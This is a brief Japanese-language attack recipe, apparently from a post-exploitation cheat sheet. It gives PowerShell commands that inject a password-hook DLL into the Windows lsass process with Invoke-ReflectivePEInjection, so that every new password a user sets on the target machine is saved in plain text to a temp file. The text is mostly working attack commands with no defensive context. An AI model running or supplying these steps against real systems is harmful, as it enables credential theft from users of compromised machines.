Hook-PasswordChangeNotify

1、PowerShellで以下のコマンドを実行します：

Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass

2、ターゲットマシンのユーザーがパスワードを変更すると、新しいパスワードがC:\Windows\Temp\passwords.txtに書き込まれます。